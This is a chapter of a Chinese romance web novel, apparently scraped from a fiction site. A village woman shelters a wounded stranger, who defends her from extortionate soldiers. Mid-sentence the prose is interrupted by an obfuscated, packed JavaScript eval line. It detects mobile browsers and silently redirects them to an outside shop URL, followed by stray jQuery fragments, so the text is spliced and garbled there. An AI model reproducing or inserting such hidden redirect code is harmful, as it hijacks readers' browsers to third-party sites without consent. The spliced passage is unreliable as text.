秋雨凄切，密云昏黑，京郊小村买花村也透着寒意，茅屋稀稀落落地立在路边，小屋前栽一棵枫树，枫叶饱浸雨水，深红似血。田畴上偶尔掠过一只寒鸦，瞥了一眼颗粒无收的土地，又哀叹而去。
“咕、咕、咕——”
阿桑在屋里织着布，听见这嘶鸣，手抖了，银针戳出一点血痕。
“嘶......”
下一瞬，一双大手裹住她的手，又抽开。有人用帕子轻拭她的血迹。
“阿樵！我没事。”
“姑娘，流血会疼。”
“知道我疼呢？那就别喊我姑娘！”
“呃，阿......阿桑。”
收获满意的答案，阿桑粲然，她望向阿樵。他双眼迷离，额头裹着一块布，眼尾上挑，染着病气的红，眼神如残烛迷离。
阿樵是她一个月前上山采药时救下的人，那时他一身血污，晕死在冷雨中。拖了两辆车，折了一个箩筐，阿桑费了老大力气才把他从山中拉回村里。阿桑怀着好奇问了他许多，从哪儿来，要去往哪，他一概不答，只露出一双黑洞洞的眼睛。
家里多了张吃饭的嘴，却没有干活多一把手。在第十天，阿桑磨刀霍霍向阿樵，威胁他再不说话就宰了他。他才蠕动薄唇，发出沙哑的声音报上名讳。
自那以后，尽管阿樵的伤还没好全，他却总随着阿桑下田，抱着病体在田垄间守望她，又或者拖着锄头为阿桑递来一点水。
窗外秋雷隐鸣，茅草屋的顶棚洇出湿气，落下点点雨滴。室内一灯如豆，唯见偌大的米缸铺了一层薄薄的底。
阿桑和阿樵的肚子传来咕噜声。
“阿桑，咳咳......对不住......”
“这是这个月第十九个‘对不住'，别说了。既然我留了你，自然是希望你慢慢恢复！你在嘛，我也开心！
但......唉——入秋了——官老爷上门收粮，家里没米了。”
她的声音慢慢低下来。
男人也敛眸，一双凤目本应高抬，自是无人缨其锋芒，可阿桑从未见过那模样。
异响倏地透过窗棂钻进两人耳中，脚步声成群结队。
阿樵身体骤然绷紧，“他们真来了。”
门栓被阿桑拉开，随着一声吱呀门轻响，她向上望去，士兵身穿铁衣，头戴银盔，雨线顺着房檐淌过铁甲，甲胄闪着寒光。他们人高马大，似乎要把门框挤满了。士兵七八个铺成一排，为首的那个脸上长满麻子，打量着阿桑，悠悠开口：
“小娘子，真贴心，免我们敲门。你相公呢？”
麻子拿起户籍册翻看着，“原来娘子是个孤女啊。家里没人，很寂寞吧？”
“官爷，以往都是里长来收粮，今日怎劳烦您受累？”
“大胆！我们官府行事，哪轮得到你指指点点！”
横肉的脚踹开柴门，麻子瞥见阿樵坐在榻上。
“哟，还养了个汉子，看来有点粮资。”
阿樵与他对视一眼，眼底染上一点深意，如蓄着风暴的水潭。
“桑氏，明明有人口流入，你隐瞒不登册，更是有罪！”
“不过你一个人也不容易，”眼神如一只蛇滑过阿桑全身，麻子开口，“原先应收粮食一石，我收你三石，这人呢......我就不上报了。”
麻子步步紧逼，阿桑步步后退。
不远处，阿樵手掌攥紧，一骨碌下榻，眼刀朝麻子飞去。
“把他办了！”
随着麻子一声令下，阿樵被一个士兵钳住手腕，伏跪在地，病骨几欲倾颓。
“阿樵！”
手朝后探去，她握住一把菜刀，靠在灶台，身子止不住地抖。
眸光凛然扫过麻子的甲胄，颤抖的人儿发现了事情并不对劲。
这甲胄上刻了阿桑说不出名字的凶兽，那并非官府兵丁的印记。
“你......你们......咳咳......不是官府来的。”
阿樵声音不大，却惹火了押着他的士兵。士兵按着他的头，渐渐地，阿樵没了声息......
“你们......欺人太甚！”
“我告诉你，我今天拿的就是你家的米！就算我不是奉旨来的，你们这些贱民说的话能被听见吗？”麻子作势要抓住那柄刀，阿桑却用力一挥，小刀揦肉的声音在无边雨声里清脆异常。
麻子闷哼一声，用手背顶开菜刀，急忙忙地朝阿桑身前欺过去。
“娘的，你死定了！
要让我发现米缸里没米......哼哼.......”
麻子离她很近，近到阿桑能看见他老脸沟壑纵横，闻见他身上皮革夹杂着汗水的恶臭......他揭开米缸的盖子，一只老鼠从缸内跳出来，吱呀乱叫着咬了他一口。
痛得吱哇乱叫时，他看见阿桑笑了。于是他怒道：
“抗税，屡教不改，来！把她押下去！先让弟兄们享受享受！”
门外进来两个士兵，她抓起木棍，劈伤了他们的手。眼眶赤红，绝眦怒视，她尽力而为，但木棍还是被扬翻。
正当他们的脏手要扯下阿桑的布裙——
“铮——”玄铁相搏之音泠泠入耳。
阿樵正提着一把软剑，护在阿桑身前，眉眼低压仿佛云青青欲雨。
“不能动她。”
软剑在阿樵手上如游龙肆意，任两个士兵架起长矛刺来，阿樵一边揽着她，一边以剑化势，划破他们的手背，又与铁甲擦出火花。
一阵惊风掠过，剑锋直指麻子眉心，尖刺剜肉，刺出点点血痕。
“等等......”麻子瘫软着后退，阿樵却仍持剑，把他逼向门外，直到麻子惊愣地坐在门前的软泥里，鬓发和甲胄被软泥沾湿，混成一个泥人，麻子才下令道，“愣着干什么，我们撤！”
官兵远去，阿桑终于松了一口气，耳边传来阿樵急促的呼吸。阿樵低眉看她，揉了揉她的鬓发，见她安然后，自己却软了下来。
他口中溢出鲜血，像枫叶那么红。
————
暮色沧瞑，子规声里雨如烟。茅屋内，阿桑的愁绪也如雨线未断。
一盅鸡汤被端上饭桌，那是阿桑家里最后一只鸡。
阿樵刚醒来便被叫唤去吃饭，坐在凳上举起筷子时——
“啪——”
筷子被她拍在桌案上。
“阿桑？我......”阿樵瞥了阿桑一眼，见她一言不发，一双浓黛远山眉蕴着雾气。
“你是不是忘了什么？”阿桑问。
阿樵心底一沉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17595253|205561||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
：难道是身份暴露了？还是方才抬手的力道，被她看出了不似寻常病人的破绽？
“阿桑，我，其实我......”
女子却只嗤一声，从背后端出一碗药汤，“笨蛋阿樵，人病了脑子就是不好，”他的额头被弹了一下，她嗔怪着，“忘喝药了吧？”
药碗空了，他一饮而尽，不觉苦涩。
“好喝。”
“阿樵，你明明看起来这么聪明，怎么每次跟我说话都呆呆的......”阿桑哈哈笑着，攥着那只空碗，“就像之前家里养的那只呆头鹅。哦，大鹅已经被我杀来给你煲汤了。”
“阿桑你放心，我会好好养病，告慰大鹅的在天之灵，”他说出这句话，自己笑了，阿桑也跟着笑，直到他的手腕上传来雨滴的凉意。
抬头时，房顶却不见一点渗水，低头时他却见阿桑颤抖着，头发跌到肩另一头去，发出细微的呜咽声。
“阿桑，你怎么了......？”
那只手伸了出去，停了，又收回。
他都懂，她的关心、她刻意的撩拨、她暧昧的眼神，他乐于甚至享受，但他的身份是一堵墙。
阿桑背过身，用帕子抹泪。
“为什么......不跑......还要救我？”
“阿桑救过我，我理当报答。”
“你明明可以去......去叫人帮忙，他们人多势众。”
“但如果我不上去，你会先被抓走。”
“但我有刀，我不怕他们！你也知道，我大可以和他们同归于尽！”
细雨初歇，斜阳透过草窗撒在阿樵脸上。终于抬眼，他的目光丝线般缠上她。
“我也说不清，或许阿桑对我来说，是特别的，”他声音抖着，“我想到你会被那些人欺负，我就......就想让他们去死。”
她哭得更凶了，扑过来抱住他，身上淡淡的药香裹住她，带着让人安心的温度。阿樵僵了一瞬，才笨拙地抬起手，轻轻拍着她的背。
“别哭了。”他用指腹擦去她的泪，指尖触到她温热的皮肤，心跳又乱了一拍，“我会养好病的，到时候就能干活了，就能护着你了。”
哄了许久，她才平静下来，两人对坐着吃饭。
碗里哪是什么粥，分明是清汤里浮着一两粒米，汤清得能照见人影。可夕阳落在两人身上，碗里的汤冒着热气，胃里是暖的，心里也是暖的。
奈何暖意总是无法持久，说话声顺着门缝钻进来：
“这个村真的没有粮了，咱们走了这么多户，才收到半袋粮食。”
“老大，那怎么办，上头给咱们的指标是四袋米。”
“既然没有米，那就抓人。从那个桑氏抓起！她那汉子今天真把我惹毛了！我得让他好看！”
阿桑脸色瞬间白了，一把拽起他，往柴房里推。
“你躲着，他们要来抓壮丁了！要是我撑不过，你就跑！”
可他哪肯松手，死死攥着她，“阿桑，我和你一起……咳咳……”
用了全身的力气，她才把他塞进柴房，又掩上门。门外的脚步声却越来越近，像沉闷的鼓点，一下一下敲在两人心上。
“把他交出来！”
一双皂靴踹开门，溅起泥星子，漫天风雨席卷而来。